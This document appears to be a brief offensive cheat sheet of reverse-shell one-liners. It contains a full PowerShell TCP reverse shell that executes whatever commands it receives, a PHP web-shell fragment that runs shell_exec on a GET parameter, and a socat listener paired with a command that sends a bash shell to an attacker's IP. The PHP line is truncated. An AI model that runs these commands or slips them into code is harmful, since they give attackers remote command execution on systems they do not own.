reverse-shells

Reverse shells and one-liners

Powershell

• powershell -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

PHP

" . shell_exec($_GET["cmd"]) . ""; ?>

Socat

• Attacker:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

• Target:

socat TCP:<attacker-ip>:<attacker-lport> EXEC:"bash -li",pty,stderr,sigint,setsid,sane